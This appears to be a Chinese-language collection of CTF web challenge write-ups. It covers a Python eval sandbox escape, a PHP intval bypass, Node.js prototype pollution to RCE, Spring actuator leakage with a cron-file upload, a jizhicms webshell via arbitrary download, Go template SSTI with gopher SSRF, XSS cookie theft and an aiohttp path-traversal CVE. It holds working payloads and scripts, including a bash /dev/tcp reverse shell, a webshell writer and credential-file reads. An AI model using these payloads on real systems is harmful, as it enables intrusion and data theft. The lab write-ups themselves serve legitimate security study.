20250711随缘刷题

臭皮的计算器

源码

from flask import Flask, render_template, request
import uuid
import subprocess
import os
import tempfile

app = Flask(__name__)
app.secret_key = str(uuid.uuid4())

def waf(s):
    token = True
    for i in s:
        if i in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ":
            token = False
            break
    return token

@app.route("/")
def index():
    return render_template("index.html")

@app.route("/calc", methods=['POST', 'GET'])
def calc():

    if request.method == 'POST':
        num = request.form.get("num")
        script = f'''import os
print(eval("{num}"))
'''
        print(script)
        if waf(num):
            try:
                result_output = ''
                with tempfile.NamedTemporaryFile(mode='w+', suffix='.py', delete=False) as temp_script:
                    temp_script.write(script)
                    temp_script_path = temp_script.name

                result = subprocess.run(['python3', temp_script_path], capture_output=True, text=True)
                os.remove(temp_script_path)

                result_output = result.stdout if result.returncode == 0 else result.stderr
            except Exception as e:

                result_output = str(e)
            return render_template("calc.html", result=result_output)
        else:
            return render_template("calc.html", result="臭皮！你想干什么！！")
    return render_template("calc.html", result='试试呗')

if __name__ == "__main__":
    app.run(host='0.0.0.0', port=30002)

审计发现过滤了所有字母，使用全角英文和 chr() 字符拼接（或八进制）即可绕过

_＿ｉｍｐｏｒｔ_＿(ｃｈｒ(111)+ｃｈｒ(115)).ｓｙｓｔｅｍ(ｃｈｒ(99)+ｃｈｒ(97)+ｃｈｒ(116)+ｃｈｒ(32)+ｃｈｒ(47)+ｃｈｒ(102)+ｃｈｒ(108)+ｃｈｒ(97)+ｃｈｒ(103))

其中 111 115 分别对应 os 的 ASCII 码，99 97 116 32 47 102 108 97 103 分别对应 cat /flag 的 ASCII 码
tips：发包的时候，加号要做转义处理，否则会被视作空格

臭皮踩踩背

题目需要用 nc 连接，给出了部分源码：

def ev4l(*args):
    print(secret)
inp = input("> ")
f = lambda: None
print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))

完整源码：

print('你被豌豆关在一个监狱里……')
print('豌豆百密一疏，不小心遗漏了一些东西…')
print('''def ev4l(*args):\n\tprint(secret)\ninp = input("> ")\nf = lambda: None\nprint(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))''')
print('能不能逃出去给豌豆踩踩背就看你自己了，臭皮…')

def ev4l(*args):
    print(secret)

secret = '你已经拿到了钥匙，但是打开错了门，好好想想，还有什么东西是你没有理解透的？'

inp = input("> ")

f = lambda: None

if "f.__globals__['__builtins__'].eval" in inp:
    f.__globals__['__builtins__'].eval = ev4l
else:
    f.__globals__['__builtins__'].eval = eval

try:
    print(eval(inp, {"__builtins__": None, 'f': f, 'eval': ev4l}))
except Exception as e:
    print(f"Error: {e}")

globals 是我们当前的全局空间，如果你声明一个全局变量，它将会存在于当前的 globals 中，我们可以看一下 globals 中到底有哪些内容，直接新建一个 Python 会话：

>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> x=1
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'x': 1}

但是为什么我们能够直接调用 open() 函数呢？因为如果访问了 open 函数，如果 globals 中有，那就执行 globals 中的（可能是你自己定义的，因此存在于 globals 空间中），否则，执行 builtins 中的（类似 open eval __import__ 之类的函数都是在 builtins 中的）。

我们来查看一下 builtins 中到底有哪些内容：

1
2

>>> globals()['__builtins__'].__dict__.keys()
dict_keys(['__name__', '__doc__', '__package__', '__loader__', '__spec__', '__build_class__', '__import__', 'abs', 'all', 'any', 'ascii', 'bin', 'breakpoint', 'callable', 'chr', 'compile', 'delattr', 'dir', 'divmod', 'eval', 'exec', 'format', 'getattr', 'globals', 'hasattr', 'hash', 'hex', 'id', 'input', 'isinstance', 'issubclass', 'iter', 'aiter', 'len', 'locals', 'max', 'min', 'next', 'anext', 'oct', 'ord', 'pow', 'print', 'repr', 'round', 'setattr', 'sorted', 'sum', 'vars', 'None', 'Ellipsis', 'NotImplemented', 'False', 'True', 'bool', 'memoryview', 'bytearray', 'bytes', 'classmethod', 'complex', 'dict', 'enumerate', 'filter', 'float', 'frozenset', 'property', 'int', 'list', 'map', 'object', 'range', 'reversed', 'set', 'slice', 'staticmethod', 'str', 'super', 'tuple', 'type', 'zip', '__debug__', 'BaseException', 'Exception', 'TypeError', 'StopAsyncIteration', 'StopIteration', 'GeneratorExit', 'SystemExit', 'KeyboardInterrupt', 'ImportError', 'ModuleNotFoundError', 'OSError', 'EnvironmentError', 'IOError', 'WindowsError', 'EOFError', 'RuntimeError', 'RecursionError', 'NotImplementedError', 'NameError', 'UnboundLocalError', 'AttributeError', 'SyntaxError', 'IndentationError', 'TabError', 'LookupError', 'IndexError', 'KeyError', 'ValueError', 'UnicodeError', 'UnicodeEncodeError', 'UnicodeDecodeError', 'UnicodeTranslateError', 'AssertionError', 'ArithmeticError', 'FloatingPointError', 'OverflowError', 'ZeroDivisionError', 'SystemError', 'ReferenceError', 'MemoryError', 'BufferError', 'Warning', 'UserWarning', 'EncodingWarning', 'DeprecationWarning', 'PendingDeprecationWarning', 'SyntaxWarning', 'RuntimeWarning', 'FutureWarning', 'ImportWarning', 'UnicodeWarning', 'BytesWarning', 'ResourceWarning', 'ConnectionError', 'BlockingIOError', 'BrokenPipeError', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionRefusedError', 'ConnectionResetError', 'FileExistsError', 'FileNotFoundError', 'IsADirectoryError', 'NotADirectoryError', 'InterruptedError', 'PermissionError', 'ProcessLookupError', 'TimeoutError', 'open', 'quit', 'exit', 'copyright', 'credits', 'license', 'help', '_'])

可以看到 open eval __import__ 等函数都在 builtins 中。

eval 函数的第一个参数就是一个字符串，即你要执行的 Python 代码，第二个参数就是一个字典，指定在接下来要执行的代码的上下文中，globals 是怎样的。

题目中，eval(inp, {“__builtins__“: None, ‘f’: f, ‘eval’: ev4l}) 这段代码，__builtins__ 被设置为 None，而我们输入的代码就是在这个 builtins 为 None 的上下文中执行的，我们从而失去了直接使用 builtins 中的函数的能力，像下面的代码就会报错（题目中直接输入 print(1)）：

>>> eval('print(1)', {"__builtins__": None})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable

由于全局 global 中没有 print，从而从 builtins 中寻找，而 builtins 为 None，触发错误。

但注意看，题目刚好给了一个匿名函数 f，看似无用，实际上参考文档已经给出提示——Python 中「一切皆对象」。故可以利用函数对象的 __globals__ 属性来逃逸。我们可以在 Python 终端测试一下：

1
2
3

>>> f = lambda: None
>>> f.__globals__
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, 'f': <function <lambda> at 0x0000026073850700>}

函数的 __globals__ 记录的是这个函数所在的 globals 空间，而这个 f 函数是在题目源码的环境中（而不是题目的 eval 的沙箱中），我们从而获取到了原始的 globals 环境，然后我们便可以从这个原始 globals 中获取到原始 builtins：

1	f.__globals__['__builtins__']

但这里还有一个问题，如果我们直接调用 f.__globals__[‘builtins‘].eval，先不说题目会替换掉 eval 函数（实际上在点号前随便几个空格或者字符串拼接就能绕过，下不赘述），即使我们能够调用，也会报错：

>>> f = lambda: None
>>> inp='''f.__globals__['__builtins__'].eval('print(1)')'''
>>> eval(inp, {"__builtins__": None, 'f': f})
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<string>", line 1, in <module>
  File "<string>", line 1, in <module>
TypeError: 'NoneType' object is not subscriptable

报错的原因是，我们在 inp 中的 eval 并没有指定 globals，因此 Python 会将当前调用处的上下文的 globals 作为第二个参数，即使设定了第二个参数但没有指定 __builtins__，Python 也会自动注入当前上下文中的 builtins（也就是未指定则继承）。但当前上下文中的 builtins 是 None，因此会报错。

绕过也很简单，显式指定即可：

1 2	>>> inp='''f.__globals__['__builtins__'].eval('print(1)', { "__builtins__": f.__globals__['__builtins__'] })''' >>> eval(inp, {"__builtins__": None, 'f': f})

综上，Payload 其实有很多种，这里列举一些：

1
2
3

f.__globals__['__builtins__'] .eval('open("/flag").read()', { "__builtins__": f.__globals__['__builtins__'] })
f.__globals__['__builtins__'].open('/flag').read()
f.__globals__['__builtins__'].__import__('os').popen('cat /flag').read()

chocolate

只记录一个点

<?php
global $cocoaLiquor_star;
global $what_can_i_say;
include("source.php");
highlight_file(__FILE__);

printf("什么?想做巧克力?");

if(isset($_GET['num'])) {
    $num = $_GET['num'];
    if($num==="1337") {
        die("可爱的捏");
    }
    if(preg_match("/[a-z]|\./i", $num)) {
        die("你干嘛");
    }
    if(!strpos($num, "0")) {
        die("orz orz orz");
    }
    if(intval($num, 0)===1337) {
        print("{$cocoaLiquor_star}\n");
        print("{$what_can_i_say}\n");
        print("牢师傅如此说到");
    }
}

payload

1	num=+02471

ezpollute

根据题目名称可知，这是一道 JavaScript 的原型链污染题

查看部署文件，可以得知 Node.js 版本为 16，并且使用了 node-dev 热部署启动
alt text

审计 index.js，/config 路由下调用了 merge 函数，merge 函数意味着可能存在的原型链污染漏洞

router.post("/config", async (ctx) => {
  jsonData = ctx.request.rawBody || "{}";
  token = ctx.cookies.get("token");
  if (!token) {
    return (ctx.body = {
      code: 0,
      msg: "Upload Photo First",
    });
  }
  const [err, userID] = decodeToken(token);
  if (err) {
    return (ctx.body = {
      code: 0,
      msg: "Invalid Token",
    });
  }
  userConfig = JSON.parse(jsonData);
  try {
    finalConfig = clone(defaultWaterMarkConfig);
    // 这里喵
    merge(finalConfig, userConfig);
    fs.writeFileSync(path.join(__dirname, "uploads", userID, "config.json"), JSON.stringify(finalConfig));
    ctx.body = {
      code: 1,
      msg: "Config updated successfully",
    };
  } catch (e) {
    ctx.body = {
      code: 0,
      msg: "Some error occurred",
    };
  }
});

merge 函数在 /util/merge.js 中，虽然过滤了 proto，但我们可以通过 constructor.prototype 来绕过限制

// /util/merge.js
function merge(target, source) {
  if (!isObject(target) || !isObject(source)) {
    return target;
  }
  for (let key in source) {
    if (key === "__proto__") continue;
    if (source[key] === "") continue;
    if (isObject(source[key]) && key in target) {
      target[key] = merge(target[key], source[key]);
    } else {
      target[key] = source[key];
    }
  }
  return target;
}

/process 路由调用了 fork，创建了一个 JavaScript 子进程用于水印添加

try {
  await new Promise((resolve, reject) => {
    // 这里喵
    const proc = fork(PhotoProcessScript, [userDir], { silent: true });

    proc.on("close", (code) => {
      if (code === 0) {
        resolve("success");
      } else {
        reject(new Error("An error occurred during execution"));
      }
    });

    proc.on("error", (err) => {
      reject(new Error(`Failed to start subprocess: ${err.message}`));
    });
  });
  ctx.body = {
    code: 1,
    msg: "Photos processed successfully",
  };
} catch (error) {
  ctx.body = {
    code: 0,
    msg: "some error occurred",
  };
}

结合之前的原型链污染漏洞，我们污染 NODE_OPTIONS 和 env，在 env 中写入恶意代码，fork 在创建子进程时就会首先加载恶意代码，从而实现 RCE

payload = {
    "constructor": {
        "prototype": {
            "NODE_OPTIONS": "--require /proc/self/environ",
            "env": {
                 "A":"require(\"child_process\").execSync(\"bash -c \'bash -i >& /dev/tcp/ip/port 0>&1\'\")//"
            }
        }
    }
}
# 需要注意在 Payload 最后面有注释符 `//`，这里的思路跟 SQL 注入很像

除了弹 shell，还可以通过写 WebShell 覆盖 index.js，从而实现有回显 RCE，或者把 flag 输出到 static 目录下读也可以

比赛时题目环境并没有出网，弹不了 shell，只能通过后两种方式来做，这里给出写 WebShell 的做法

import requests
import re
import base64
from time import sleep

url = "https://eci-2ze94pdfw4ofpnpy8wa4.cloudeci1.ichunqiu.com:3000"

# 获取 token
# 随便发送点图片获取 token
files = [
    ('images', ('anno.png', open('./1.png', 'rb'), 'image/png')),
    ('images', ('soyo.png', open('./2.png', 'rb'), 'image/png'))
]
res = requests.post(url + "/upload", files=files)
token = res.headers.get('Set-Cookie')
match = re.search(r'token=([a-f0-9\-\.]+)', token)
if match:
    token = match.group(1)
    print(f"[+] token: {token}")
headers = {
    'Cookie': f'token={token}'
}

# 通过原型链污染 env 注入恶意代码即可 RCE

# 写入 WebShell
webshell = """
const Koa = require('koa')
const Router = require('koa-router')
const app = new Koa()
const router = new Router()

router.get("/webshell", async (ctx) => {
    const {cmd} = ctx.query
    res = require('child_process').execSync(cmd).toString()
    return ctx.body = {
        res
    }
})

app.use(router.routes())
app.listen(3000, () => {
    console.log('http://127.0.0.1:3000')
})
"""

# 将 WebShell 内容 Base64 编码
encoded_webshell = base64.b64encode(webshell.encode()).decode()

# Base64 解码后写入文件
payload = {
    "constructor": {
        "prototype": {
            "NODE_OPTIONS": "--require /proc/self/environ",
            "env": {
                "A": f"require(\"child_process\").execSync(\"echo {encoded_webshell} | base64 -d > /app/index.js\")//"
            }
        }
    }
}

# 原型链污染
requests.post(url + "/config", json=payload, headers=headers)

# 触发 fork 实现 RCE
try:
    requests.post(url + "/process", headers=headers)
except Exception as e:
    pass

sleep(2)
# 访问有回显的 WebShell
res = requests.get(url + "/webshell?cmd=cat /flag")
print(res.text)

隐藏的密码

根据题目隐藏的密码可能是存在信息泄露，进行目录扫描，可以扫到 /actuator/env 和 /actuator/jolokia ，可以找到 caef11.passwd 属性是隐藏的
alt text

可以从/actuator/jolokia尝试获取星号的内容

alt text

POST /actuator/jolokia HTTP/1.1
Host: 8.147.132.32:40590
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i
Content-Type: application/json
Content-Length: 146

{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["caef11.passwd"]}

得到了星号内容是123456qWertAsdFgZxCvB!@#

通过写定时任务（计划任务）的方式，以 flag 为文件名在根目录创建新文件，通过 ls 查看 flag，或者反弹 shell 也可以

POST /upload HTTP/1.1
Host: 8.147.132.32:40590
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://8.147.132.32:40590/back.html
Content-Type: multipart/form-data; boundary=----geckoformboundary3abb2630e8805e36ea9edbc7f4ac8b52
Content-Length: 289
Origin: http://8.147.132.32:40590
Connection: close
Priority: u=0

------geckoformboundary3abb2630e8805e36ea9edbc7f4ac8b52
Content-Disposition: form-data; name="file"; filename="../etc/cron.d/testt"
Content-Type: application/octet-stream

*/1 * * * * root cat /flag | xargs -I {} touch /{}

------geckoformboundary3abb2630e8805e36ea9edbc7f4ac8b52--

alt text

ezcmsss

在 readme.txt 获得 jizhicms 版本号为 v1.9.5，在 start.sh 获得服务器初始化时使用的管理员账号和密码
alt text

同时在 start.sh 中有备注提示访问 admin.php 进入管理页面，然后使用上面的账号密码登录

上网搜索可以发现 jizhicms v1.9.5 有一个管理界面的任意文件下载漏洞

在扩展管理 » 插件列表中发现只有一个插件，这是由于容器不出网导致的，因此我们不能按照网上的方式，使用公网的 URL 链接下载文件，而是需要在将 .zip 文件上传到题目容器里，然后通过任意文件下载漏洞本地下载、解压
alt text

有几种上传 .zip 文件的方法，都可以获取到文件保存的目录，其中一种是在栏目管理 » 栏目列表 » 新增栏目中添加附件，上传构造好的包含 PHP 马的压缩包

抓包获得保存路径为 /static/upload/file/20241016/1729079175871306.zip，测试可以访问

在插件那边进行抓包，构造请求如下（可以照着网上的漏洞复现，依葫芦画瓢，filepath 随便起就行）

POST /admin.php/Plugins/update.html HTTP/1.1
Host: eci-2zedm1lw513xbz1d46c6.cloudeci1.ichunqiu.com
Content-Length: 126
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 Edg/129.0.0.0
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie:PHPSESSID=0k7pqbk4chhak4ku5aqbfhe7b3

filepath=apidata&action=start-download&type=0&download_url=http%3a//127.0.0.1/static/upload/file/20241016/1729079175871306.zip

alt text

继续构造解压的请求，修改 action 即可，解压完的文件在 /A/exts

alt text

访问 /A/exts/shell.php，可以直接进行命令执行

这里的路径文件名就是上面下载的压缩包里面的文件，如果压缩包里有多个文件，解压会在 exts 下建立一个和上面 POST 参数 filepath 的值一致的文件夹，php 马需要在此目录下访问

alt text

flag 在根目录下的 /flllllag 文件，用通配符读取即可（如 /fl*）

PangBai 过家家（4）

根据题目附件所给的 hint，只需关注 main.go 文件即可，文件中定义了一个静态文件路由和三个路由：

1
2
3

r.HandleFunc("/", routeIndex)
r.HandleFunc("/eye", routeEye)
r.HandleFunc("/favorite", routeFavorite)

在 main.go 的 routeEye 函数中发现了 tmpl.Execute 函数，通过分析，我们重点关注下面的代码片段：

tmplStr := strings.Replace(string(content), "%s", input, -1)
tmpl, err := template.New("eye").Parse(tmplStr)

helper := Helper{User: user, Config: config}
err = tmpl.Execute(w, helper)

我们的输入 input 会直接作为模板字符串的一部分，与 Python 的 SSTI 类似，我们可以使用 {{ }} 来获取上下文中的数据。

1
2
3

GoLang 模板中的上下文
tmpl.Execute 函数用于将 tmpl 对象中的模板字符串进行渲染，第一个参数传入的是一个 Writer 对象，后面是一个上下文，在模板字符串中，可以使用 {{ . }} 获取整个上下文，或使用 {{ .A.B }} 进行层级访问。若上下文中含有函数，也支持 {{ .Func "param" }} 的方式传入变量。并且还支持管道符运算。
在本题中，由于 utils.go 定义的 Stringer 对象中的 String 方法，对继承他的每一个 struct，在转换为字符串时都会返回 [struct]，所以直接使用 {{ . }} 返回全局的上下文结构会返回 [struct].

访问 /eye 路由，默认就是 {{ .User }} 和返回的信息。根据上面代码片段的内容，我们追溯 Helper 和 Config 两个结构体的结构：

type Helper struct {
    Stringer
    User   string
    Config Config
}

var config = Config{
    Name:          "PangBai 过家家 (4)",
    JwtKey:        RandString(64),
    SignaturePath: "./sign.txt",
}

可以泄露出 JWT 的密钥，只需输入 {{ .Config.JwtKey }} 即可：
alt text

然后我们关注另一个路由 /favorite：

func routeFavorite(w http.ResponseWriter, r *http.Request) {

    if r.Method == http.MethodPut {

        // ensure only localhost can access
        requestIP := r.RemoteAddr[:strings.LastIndex(r.RemoteAddr, ":")]
        fmt.Println("Request IP:", requestIP)
        if requestIP != "127.0.0.1" && requestIP != "[::1]" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("Only localhost can access"))
            return
        }

        token, _ := r.Cookie("token")

        o, err := validateJwt(token.Value)
        if err != nil {
            w.Write([]byte(err.Error()))
            return
        }

        if o.Name == "PangBai" {
            w.WriteHeader(http.StatusAccepted)
            w.Write([]byte("Hello, PangBai!"))
            return
        }

        if o.Name != "Papa" {
            w.WriteHeader(http.StatusForbidden)
            w.Write([]byte("You cannot access!"))
            return
        }

        body, err := ioutil.ReadAll(r.Body)
        if err != nil {
            http.Error(w, "error", http.StatusInternalServerError)
        }
        config.SignaturePath = string(body)
        w.WriteHeader(http.StatusOK)
        w.Write([]byte("ok"))
        return
    }

    // render

    tmpl, err := template.ParseFiles("views/favorite.html")
    if err != nil {
        http.Error(w, "error", http.StatusInternalServerError)
        return
    }

    sig, err := ioutil.ReadFile(config.SignaturePath)
    if err != nil {
        http.Error(w, "Failed to read signature files: "+config.SignaturePath, http.StatusInternalServerError)
        return
    }

    err = tmpl.Execute(w, string(sig))

    if err != nil {
        http.Error(w, "[error]", http.StatusInternalServerError)
        return
    }
}

可以看到 /favorite 路由下，网页右下角的内容实际上是一个文件读的结果，文件路径默认为 config.SignaturePath 即 ./sign.txt 的内容。

而如果使用 PUT 请求，则可以修改 config.SignaturePath 的值，但需要携带使 Name（Token 对象中是 Name 字段，但是 JWT 对象中是 user 字段，可以在 utils.go 中的 validateJwt 函数中看到）为 Papa 的 JWT Cookie.

于是就有了解题思路：利用泄露的 JwtKey 伪造 Cookie，对 /favorite 发起 PUT 请求以修改 config.SignaturePath，然后访问 /favorite 获取文件读的内容。

然而 /favorite 中又强制要求请求必须来自于本地。

注意到下面的代码片段：

func (c Helper) Curl(url string) string {
    fmt.Println("Curl:", url)
    cmd := exec.Command("curl", "-fsSL", "--", url)
    _, err := cmd.CombinedOutput()
    if err != nil {
        fmt.Println("Error: curl:", err)
        return "error"
    }
    return "ok"
}

这部分代码为 Helper 定义了一个 Curl 的方法，所以我们可以在 /eye 路由下通过 {{ .Curl "url" }} 调用到这个方法，这个方法允许我们在服务端发起内网请求，即 SSRF（服务端请求伪造）：
alt text

由于 exec.Command 中 -- 的存在，我们没有办法进行任何命令注入或选项控制。而一般情况下，在没有其它参数指定时，curl 发起的 HTTP 请求也只能发送 GET 请求，题目要求的是 PUT 请求。

但 curl 命令并不是只能发起 HTTP 请求，它也支持其它很多的协议，例如 FTP、Gopher 等，其中 Gopher 协议能满足我们的要求。

Gopher 协议是一个互联网早期的协议，可以直接发送任意 TCP 报文。其 URI 格式为：gopher://远程地址/_编码的报文，表示将报文原始内容发送到远程地址.

我们先签一个 JWT：
alt text

然后构造 PUT 请求原始报文，Body 内容为想要读取的文件内容，这里读取环境变量：

PUT /favorite HTTP/1.1
Host: localhost:8000
Content-Type: text/plain
Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiUGFwYSJ9.tgAEnWZJGTa1_HIBlUQj8nzRs2M9asoWZ-JYAQuV0N0
Content-Length: 18

/proc/self/environ

tips：必须填正确 Content-Length 的值，以使报文接收方正确解析 HTTP Body 的内容，并且 Body 不应当包含换行符，否则读文件会失败。

对请求进行编码和套上 Gopher 协议
alt text

gopher://localhost:8000/_PUT%20%2Ffavorite%20HTTP%2F1%2E1%0D%0AHost%3A%20localhost%3A8000%0D%0AContent%2DType%3A%20text%2Fplain%0D%0ACookie%3A%20token%3DeyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9%2EeyJ1c2VyIjoiUGFwYSJ9%2EtgAEnWZJGTa1%5FHIBlUQj8nzRs2M9asoWZ%2DJYAQuV0N0%0D%0AContent%2DLength%3A%2018%0D%0A%0D%0A%2Fproc%2Fself%2Fenviron

注意用burp发包时对上面的payload还要进行一次urlencode

然后调用 curl，在 /eye 路由访问 {{ .Curl "gopher://..." }} 即可。

然后访问 /favorite 路由即可得到 FLAG

PangBai 过家家（5）

题目有一个发件的路由，还有一个查看信件的路由，以及一个「提醒 PangBai」的按钮，这个按钮实际就是让 Bot 访问查看当前信件的路由。

我们要做的就是找到一处能够展示我们的输入的地方，想办法使内容展示之后，浏览器能够执行我们恶意的 JavaScript 代码。这样，如果让 Bot 去访问这个 URL，恶意代码就会在 Bot 的浏览器执行，我们的恶意代码可以执行获取 Cookie 等操作。

从 bot.ts 可见，FLAG 在 Cookie 中：

await page.setCookie({
  name: "FLAG",
  value: process.env["FLAG"] || "flag{test_flag}",
  httpOnly: false,
  path: "/",
  domain: "localhost:3000",
  sameSite: "Strict",
});

我们直接输入 <script>alert(1)</script> 做测试，访问查看信件的界面，查看源码，发现输入被过滤了。

跟踪附件中的后端源码，page.ts 中的 /box/:id 路由，会渲染我们的输入：

router.get("/box/:id", async (ctx, next) => {
  const letter = Memory.get(ctx.params["id"]);
  await ctx.render("letter", <TmplProps>{
    page_title: "PangBai 过家家 (5)",
    sub_title: "查看信件",
    id: ctx.params["id"],
    hint_text: HINT_LETTERS[Math.floor(Math.random() * HINT_LETTERS.length)],
    data: letter
      ? {
          title: safe_html(letter.title),
          content: safe_html(letter.content),
        }
      : { title: TITLE_EMPTY, content: CONTENT_EMPTY },
    error: letter ? null : "找不到该信件",
  });
});

但是输入的内容都经过了 safe_html 过滤

function safe_html(str: string) {
  return str
    .replace(/<.*>/gim, "")
    .replace(/<\.*>/gim, "")
    .replace(/<.*>.*<\/.*>/gim, "");
}

可见这只是一个正则替换，正则中各个标志的作用：

1
2
3

i 标志：忽略大小写
g 标志：全局匹配，找到所有符合条件的内容
m 标志：多行匹配，每次匹配时按行进行匹配，而不是对整个字符串进行匹配（与之对应的是 s 标志，表示单行模式，将换行符看作字符串中的普通字符）

由于 m 的存在，匹配开始为行首，匹配结束为行尾，因此我们只需要把 < 和 > 放在不同行即可，例如：

<script
>
alert(1)
</script
>

此时我们就能执行恶意代码了。直接使用 document.cookie 即可获取到 Bot 的 Cookie。拿到 Cookie 之后，怎么回显呢？如果题目靶机是出网的，可以发送到自己的服务器上面；但是题目靶机并不出网，这时可以写一个 JavaScript 代码，模拟用户操作，将 Cookie 作为一个信件的内容提交（让 Bot 写信），这样我们就能查看到了。例如：

<script
>
fetch('/api/send', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify({'title': "Cookie", 'content': document.cookie})
})
</script
>

fetch 中的请求路径可以是相对路径、绝对路径等，因此上面忽略了 Origin，如果显示指定，必须和当前的 Origin 一样，否则存在跨域问题。从 bot.ts 中可以看到 Bot 访问的是 http://localhost:3000，因此使用 http://127.0.0.1:3000 是不行的。

把 Payload 提交之后，如果手动查看信件并点击「提醒 PangBai」，会触发两次 Payload，一次是你自己查看信件时触发的，一次是 Bot 触发的。

提交并「提醒 PangBai」之后，稍等一会，查看信箱，就可以看到内容了。

臭皮的网站

网站是 aiohttp 框架的，网上搜一搜相关的 CVE，了解到 CVE-2024-23334.

存在任意文件读取：
alt text

可以读取到源代码如下：

import subprocess
from aiohttp import web
from aiohttp_session import setup as session_setup, get_session
from aiohttp_session.cookie_storage import EncryptedCookieStorage
import os
import uuid
import secrets
import random
import string
import base64
random.seed(uuid.getnode())
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp_session cryptography
# pip install -i https://pypi.tuna.tsinghua.edu.cn/simple aiohttp==3.9.1

adminname = "admin"

def CreteKey():
    key_bytes = secrets.token_bytes(32)
    key_str = base64.urlsafe_b64encode(key_bytes).decode('ascii')
    return key_str

def authenticate(username, password):
    if username == adminname and password ==''.join(random.choices(string.ascii_letters + string.digits, k=8)):
        return True
    else:
        return False

async def middleware(app, handler):
    async def middleware_handler(request):
        try:
            response = await handler(request)
            response.headers['Server'] = 'nginx/114.5.14'
            return response
        except web.HTTPNotFound:
            response = await handler_404(request)
            response.headers['Server'] = 'nginx/114.5.14'
            return response
        except Exception:
            response = await handler_500(request)
            response.headers['Server'] = 'nginx/114.5.14'
            return response

    return middleware_handler

async def handler_404(request):
    return web.FileResponse('./template/404.html', status=404)

async def handler_500(request):
    return web.FileResponse('./template/500.html', status=500)

async def index(request):
    return web.FileResponse('./template/index.html')

async def login(request):
    data = await request.post()
    username = data['username']
    password = data['password']
    if authenticate(username, password):
        session = await get_session(request)
        session['user'] = 'admin'
        response = web.HTTPFound('/home')
        response.session = session
        return response
    else:
        return web.Response(text="账号或密码错误哦", status=200)

async def home(request):
    session = await get_session(request)
    user = session.get('user')
    if user == 'admin':
        return web.FileResponse('./template/home.html')
    else:
        return web.HTTPFound('/')

async def upload(request):
    session = await get_session(request)
    user = session.get('user')
    if user == 'admin':
        reader = await request.multipart()
        file = await reader.next()
        if file:
            filename = './static/' + file.filename
            with open(filename,'wb') as f:
                while True:
                    chunk = await file.read_chunk()
                    if not chunk:
                        break
                    f.write(chunk)
            return web.HTTPFound("/list")
        else:
            response = web.HTTPFound('/home')
            return response
    else:
        return web.HTTPFound('/')

async def ListFile(request):
    session = await get_session(request)
    user = session.get('user')
    command = "ls ./static"
    if user == 'admin':
        result = subprocess.run(command, shell=True, check=True, text=True, capture_output=True)
        files_list = result.stdout
        return web.Response(text="static目录下存在文件\n"+files_list)
    else:
        return web.HTTPFound('/')

async def init_app():
    app = web.Application()
    app.router.add_static('/static/', './static', follow_symlinks=True)
    session_setup(app, EncryptedCookieStorage(secret_key=CreteKey()))
    app.middlewares.append(middleware)
    app.router.add_route('GET', '/', index)
    app.router.add_route('POST', '/', login)
    app.router.add_route('GET', '/home', home)
    app.router.add_route('POST', '/upload', upload)
    app.router.add_route('GET', '/list', ListFile)
    return app

web.run_app(init_app(), host='0.0.0.0', port=80)

这里 admin 密码使用了随机数，然而随机数的 randseed 设置如下，random.seed(uuid.getnode()).
uuid.getnode() 是Python中用于获取本机硬件地址（通常是MAC地址）的方法。它返回一个48位的正整数，表示设备的硬件地址。因此这里种子是固定值，即 MAC 地址，我们可以通过文件读取获取这个种子。
alt text

得到种子之后，可以预测 rand 的值。

import random
import string
random.seed(0x0242ac11000f)
print(''.join(random.choices(string.ascii_letters + string.digits, k=8)))

要注意的是，这里的密码每一次调用比较，就会重新调用一次这个表达式，得到的值是不一样的，建议直接重启靶机之后做这个题目。

登陆上去可以上传文件。
alt text

这里代码会把文件上传到 static 下，然后再 /list 路由下会调用 ls，可以看到自己 /static 下的文件。

但是这里存在任意文件上传，如果我们上传一个恶意的 ls 文件，然后访问 ls，触发这个恶意文件。

上传的 ls 文件内容如下：
alt text

这样访问 list 就会触发这个恶意的 ls.
alt text

得到 flag 名字，直接读取或者继续污染一次 ls 即可。

ez_redis

考了个 Redis 命令执行以及其历史漏洞

有源码泄露，访问 /www.zip 即可

关键点在：

<?php
